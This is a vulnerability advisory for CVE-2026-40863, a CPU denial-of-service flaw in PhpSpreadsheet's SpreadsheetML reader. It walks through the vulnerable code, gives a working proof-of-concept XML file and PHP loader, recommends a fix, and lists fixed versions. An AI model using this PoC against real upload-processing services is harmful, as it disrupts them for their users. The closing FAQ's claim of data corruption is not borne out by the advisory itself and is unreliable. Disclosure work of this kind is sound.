CVE-2026-40863: PhpSpreadsheet: CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAXROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
php // Xml.php:397-402 if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; // No validation against MAXROW } if (isset($rowss['Hidden'])) { $rowVisible = ((string) $rowss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); }
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; }
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
1. Create poc.xml: xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook>
2. Load and iterate: php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes }
Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP maxexecutiontime limits that still consume resources before killing the process
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAXROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
php // After line 398: if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; if ($rowID > AddressRange::MAXROW) { $rowID = AddressRange::MAXROW; } }
Add the necessary import at the top of the file: php use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
Other sources
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAXROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40863?
CVE-2026-40863 has a high severity rating due to its potential for exploitation via specially crafted SpreadsheetML XML files.
How do I fix CVE-2026-40863?
To fix CVE-2026-40863, update to phpoffice/phpspreadsheet version 1.30.4 or later, or 2.1.16 or later, or 2.4.5 or later, or 3.10.5 or later, or 5.7.0 or later.
What versions of phpoffice/phpspreadsheet are affected by CVE-2026-40863?
Affected versions of phpoffice/phpspreadsheet include any version up to 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.
Can CVE-2026-40863 lead to data corruption?
Yes, exploiting CVE-2026-40863 can lead to data corruption or unexpected behavior when processing malformed SpreadsheetML XML files.
What types of applications are vulnerable to CVE-2026-40863?
Applications utilizing the phpoffice/phpspreadsheet library to read or process SpreadsheetML XML files are vulnerable to CVE-2026-40863.